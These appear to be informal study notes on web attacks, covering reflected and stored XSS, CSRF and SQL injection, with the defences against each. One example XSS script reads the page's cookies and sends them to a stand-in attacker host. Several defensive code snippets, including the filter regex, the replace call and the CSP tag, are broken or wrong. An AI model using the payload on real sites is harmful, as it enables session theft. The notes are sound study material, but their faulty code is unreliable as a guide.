1. xss (cross site scripts)
1.1 principla
- attackers inject vacious script to the page
reflect xss
pricipal
- inject script to url param
- run after click link
condition example
- set url as html without any filter
storage xss
principal
- store xss into the web database
- when user visit the page, inject vasious code to the page.
condition example
- input vasious code in page input component as comment or other
- run when show comment
vasious code example
<script>
var cookie = document.cookie;
var xhr = new XMLHttpRequest();
var url = `https://www.attacker.com?usercookie=${cooke};
xhr.open('GET', url);
xhr.send();
</script>
difference between storage xss and reflect xss
- reflect xss need new url each new attack
- storage xss can use forever just one inject
vulnerable which can be used to xss
- lack of input check
- lack of output filter
messure to protect xss
filter input
- filter not number or letter
str.replace(/^[\w\s]/gi,'')
- transform output letter
> > < <
- transform special letter in js string
add \\ before special letter
str.replace method
- the secone param can be a function
- and the param function can accept the match letter in str
str.replace(
switch(match){
case '': return ''
}
})
URL encode
return encodeURI(url)/encodeURLComponent(url)
use HttpOnly cookie
- setCookie value add HttpOnly means can only read cookie in server
'Set-Cookie':'mycookie = value; HttpOnly'
set CSP
- add
http-euqiv = 'Content-Security-Policy' attribute in meta
default-src ; selfmeans can only send request to the same origin
<meta http-equiv = 'Content-Secuirty-Policy' content = 'default-src 'self''
2. CSFR
- cross site request forgery
- pertend user requset
pricipal
- use the vulnerability of same origin policy in broswer
- easy request such as
<img> <form>, broswer will auto take cookie, and broswer will not check wether the same origin or not
- so the vasious request take the cookie and get permit
how to protect
- use
origin or referer in request header to judge if the allow orgin or not
- add a
token when submit the form
- ban other cookie add
SameSite = Strick in cookie header
- secone sure, such as input reassure code.
SQL inject
defination
- inject sql code into the input component
- run the vasious code to visit database